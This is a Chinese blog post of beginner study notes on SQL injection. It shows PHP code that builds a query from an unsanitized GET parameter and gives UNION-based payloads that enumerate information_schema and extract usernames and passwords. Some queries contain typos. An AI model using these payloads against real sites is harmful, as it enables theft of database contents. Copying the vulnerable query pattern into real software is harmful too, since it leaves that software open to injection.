sql注入学习笔记第一章节———基本sql原理讲解以及基础初利用

一.sql注入原理

 

原理代码:

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

1.获得数据

2.凭借语句

3.数据库执行

4.页面显示结果

注入,就是注入sql语句,利用网页的参数传递功能,将我们想要执行的功能转化为sql语句后拼接到源语句上,实现sql注入

例如:

原语句:
SELECT * from users where id=”参数位置“ LIMIT 0,1
​
拼接后:
SELECT * from users where id=-2 union select 1,emali_id,3 from emails LIMIT 0,1

可以看出,正常情况下id的值为1,2,3......,但经认为凭借后变成了后者,产生注入(这里的id=-2是为了让union前的语句失效,只执行后面的语句)

注入条件

1.需要可控变量输入

2.可拼接的语句

3.要有数据库查询的函数

4.没有过滤或者可绕过过滤

二、数据库结构(mysql)

数据库a=网站a=数据库用户a

表名

       列名

              数据

数据库b=网站b=数据库用户b

.......................

数据库c=网站c=数据库用户c

........................

所以注入时要一步一步的获得

三、如何判断注入点

老方法:

id =1 and 1=1 页面正常

and 1=2 页面错误

新方法:

id=1hdsajkhdajs

在变量哪里乱输入,看看你有没有影响

有些时候会报错——网站有检测——没有漏洞

四、联合注入——union

1.判断注入(上述)

2.信息搜集

数据库版本——version()

数据库名字——datebase()

数据库用户——user()

操作系统@@version_compile_os

注:1在mysql5.0以上的版本中有一个自带的数据库:information_schema,里面有记录所有的数据库名,表名,列名,所以也可以通过该数据库查询相关的数据库名,表名,列名

2.数据库中符号“.”代表下一级的意思,如:xxx.user就代表xxx数据库下名为user的表

所以:

information_schema.tables——记录所有表名信息的表

information_schema.columns——记录所有列名信息的表

table_name——表名

columns_name——列名

3.拆解列名数量——union注入前后两条语句字段数相同,不然报错

order by 1
order by 2
order by 3

4.报错—— id = -2

SELECT * from users where id=-2 union select 1,2,3

5.查询指定数据库下面表明的信息

SELECT * from users where id=-2 union select 1,table_name,3 form information_schema.table where table_schema='xxx'
​
SELECT * from users where id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='xxx'
​
​
group_concat(table_name)——查询所有。横向展开

6.查询指定表下面列名的信息

SELECT * from users where id=-2 union select 1,group_concat(columns_name),3 form information_schema.columns where table_name='xxx'

7.查询指定数据

SELECT * from users where id=-2 union select 1,username,password form xxx

8.拆解多个数据:limit x.1

用法:【select * from tableName limit i,n 】

参数:

  • tableName : 为数据表;

  • i : 为查询结果的索引值(默认从0开始);

  • n : 为查询结果返回的数量

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值